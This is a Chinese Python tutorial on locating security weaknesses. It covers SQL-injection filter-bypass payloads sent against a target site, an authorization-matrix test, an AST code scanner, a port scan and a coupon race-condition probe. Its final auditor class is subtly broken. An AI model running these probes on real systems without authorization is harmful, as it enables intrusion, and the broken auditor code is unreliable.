综合python案例，防守漏洞怎么识别定位？

Python 综合案例：防守漏洞的识别与定位

防守漏洞的识别定位是一个跨领域的通用问题，可以抽象为：在防御体系（网络、代码、系统、业务）中，找出攻击者可以绕过、利用或未覆盖的薄弱点，下面从思路到 Python 实战做一个综合梳理。

漏洞识别的通用思路

一句话："正常输入 → 观察防护 → 构造异常 → 观察是否失守"。

案例 1：Web 应用防守漏洞 —— 参数过滤绕过识别

场景

站点用黑名单过滤 union select,要定位这个防护是否可被绕过。

import requests
from urllib.parse import quote
TARGET = "http://target.com/search"
PARAM  = "q"
# 1. 探测正常防护行为
def probe(payload):
    try:
        r = requests.get(TARGET, params={PARAM: payload}, timeout=5)
        return r.status_code, len(r.text)
    except Exception as e:
        return None, str(e)
# 2. 构造变形 payload，识别过滤规则
base_payloads = {
    "raw":        "1 union select 1,2,3",
    "case":       "1 UnIoN SeLeCt 1,2,3",
    "comment":    "1 un/**/ion sel/**/ect 1,2,3",
    "urlenc":     quote("1 union select 1,2,3"),
    "double_enc": quote(quote("1 union select 1,2,3")),
    "space_alt":  "1+union%09select%0a1,2,3",
    "keyword_spl":"1 uniunionon selselectect 1,2,3",
}
baseline = probe("1")
print(f"[基线] {baseline}")
for name, p in base_payloads.items():
    status, length = probe(p)
    # 判定：状态码/长度/报错明显偏离基线 → 可能绕过或触发异常
    flag = "❗可能绕过" if status == 200 and abs(length - baseline[1]) > 50 else "✓被拦截"
    print(f"[{name:10}] status={status} len={length}  {flag}")

定位逻辑：若某变形 payload 的响应特征（状态码、长度、关键字回显）明显不同 → 该变形绕过了当前过滤,即防守漏洞所在点。

案例 2：API 越权漏洞 —— 权限矩阵识别

场景

多个角色 × 多个接口，找出"越权可访问"的组合。

import requests
import itertools
BASE = "http://api.target.com"
TOKENS = {
    "admin":   "token_admin_xxx",
    "userA":   "token_usera_xxx",
    "userB":   "token_userb_xxx",
    "guest":   "token_guest_xxx",
}
ENDPOINTS = [
    ("GET",  "/api/user/1/profile"),
    ("GET",  "/api/user/2/profile"),
    ("POST", "/api/user/1/delete"),
    ("GET",  "/api/admin/logs"),
]
def call(method, path, token):
    h = {"Authorization": f"Bearer {token}"}
    try:
        r = requests.request(method, BASE + path, headers=h, timeout=5)
        return r.status_code
    except Exception:
        return -1
# 期望矩阵：哪些角色不该访问哪些接口
expected_deny = {
    "guest": ["/api/user/1/delete", "/api/admin/logs"],
    "userB": ["/api/user/1/delete", "/api/user/1/profile", "/api/admin/logs"],
}
vulns = []
for role, (method, path) in itertools.product(TOKENS, ENDPOINTS):
    code = call(method, path, TOKENS[role])
    denied_expected = path in expected_deny.get(role, [])
    if denied_expected and code not in (401, 403):
        vulns.append((role, method, path, code))
print("=== 越权漏洞定位 ===")
for v in vulns:
    print(f"角色={v[0]:6} {v[1]:4} {v[2]:25} → HTTP {v[3]}  ❗越权")

定位逻辑：把"角色×接口"的期望访问策略与实际响应做矩阵交叉，不符项就是越权漏洞的精确坐标（谁、对哪个接口、什么方法）。

案例 3：代码级防守漏洞 —— AST 白盒扫描

场景

在 Python 源码里识别"防护缺失"模式，直接拼接 SQL、eval 使用、无鉴权的路由。

import ast
from pathlib import Path
RISKY_CALLS = {"eval", "exec", "os.system", "subprocess.call"}
SQL_MARKERS = ("select ", "insert ", "update ", "delete ")
class VulnScanner(ast.NodeVisitor):
    def __init__(self, file):
        self.file = file
        self.findings = []
    def visit_Call(self, node):
        name = self._name(node.func)
        # 危险函数调用
        if name in RISKY_CALLS:
            self.findings.append(("危险调用", name, node.lineno))
        # SQL 拼接（f-string / % / + 且含 SQL 关键字）
        if name in ("execute", "executemany") and node.args:
            arg = node.args[0]
            if isinstance(arg, ast.JoinedStr):  # f-string
                if any(k in ast.unparse(arg).lower() for k in SQL_MARKERS):
                    self.findings.append(("SQL拼接", ast.unparse(arg), node.lineno))
        self.generic_visit(node)
    @staticmethod
    def _name(func):
        if isinstance(func, ast.Attribute):
            return f"{ast.unparse(func.value)}.{func.attr}"
        return getattr(func, "id", "")
def scan(root):
    for p in Path(root).rglob("*.py"):
        tree = ast.parse(p.read_text(encoding="utf-8", errors="ignore"))
        s = VulnScanner(p)
        s.visit(tree)
        for kind, detail, line in s.findings:
            print(f"{p}:{line}  [{kind}] {detail}")
scan("./myapp")

定位逻辑：AST 静态分析定位到文件:行号 + 漏洞类型 + 具体表达式,精确到代码坐标。

案例 4：网络防守漏洞 —— 端口/服务覆盖缺口

import socket
from concurrent.futures import ThreadPoolExecutor
HOST = "10.0.0.5"
PORTS = [21, 22, 80, 443, 3306, 6379, 8080, 9200, 27017]
def check(port):
    try:
        with socket.create_connection((HOST, port), timeout=1) as s:
            banner = s.recv(64)
            return port, "OPEN", banner[:40]
    except Exception:
        return port, "CLOSED", b""
with ThreadPoolExecutor(max_workers=20) as ex:
    for port, state, banner in ex.map(check, PORTS):
        if state == "OPEN":
            print(f"[开放] {port:5}  banner={banner}")
# 与"应关闭清单"对比 → 找出不该开放的服务
EXPECTED_CLOSED = {3306, 6379, 9200}

定位逻辑：将"实际开放服务"与"安全基线应关闭清单"做 差集,多开放的就是暴露面漏洞。

案例 5：业务逻辑漏洞 —— 并发竞态识别

场景

优惠券/余额扣减是否有并发漏洞。

import requests, threading
URL = "http://target.com/api/coupon/use"
HEADERS = {"Authorization": "Bearer user_token"}
results = []
lock = threading.Lock()
def hit():
    r = requests.post(URL, headers=HEADERS, json={"coupon_id": 1})
    with lock:
        results.append(r.json().get("status"))
threads = [threading.Thread(target=hit) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()
success = results.count("success")
print(f"并发请求 20 次，成功 {success} 次")
if success > 1:
    print("❗竞态漏洞：同一优惠券被重复使用")

定位逻辑：并发压测 → 统计成功次数 > 预期（应为 1）→ 定位到该接口存在竞态窗口。

把方法沉淀成"定位框架"

class DefenseAuditor:
    """
    通用防守漏洞定位器：
    1. 建立防护基线
    2. 生成异常/变形输入
    3. 对比响应差异
    4. 输出漏洞坐标
    """
    def __init__(self, probe_func, baseline_input, anomaly_inputs, judge):
        self.probe = probe_func          # 探测函数
        self.baseline = probe(baseline_input)
        self.anomalies = anomaly_inputs   # 变形字典
        self.judge = judge                # 判定函数
    def run(self):
        hits = []
        for label, payload in self.anomalies.items():
            resp = self.probe(payload)
            if self.judge(self.baseline, resp, payload):
                hits.append((label, payload, resp))
        return hits
# 使用示例
def judge(baseline, resp, payload):
    return resp["status"] == 200 and abs(resp["len"] - baseline["len"]) > 50
auditor = DefenseAuditor(probe_func, "1", base_payloads, judge)
for label, payload, resp in auditor.run():
    print(f"漏洞点：{label}  payload={payload}")

识别定位的关键心法

1. 先建立基线 —— 不知道"正常"就识别不出"异常"。
2. 差异即线索 —— 状态码、长度、时间、回显、日志,任何偏离都值得深挖。
3. 矩阵化思维 —— 角色×接口、输入×变形、端口×基线,交叉找出盲点。
4. 自动化收口 —— 一次探测一个点，脚本批量跑,结果按优先级排序。
5. 闭环验证 —— 定位后要能复现、能证明危害、能提出修复。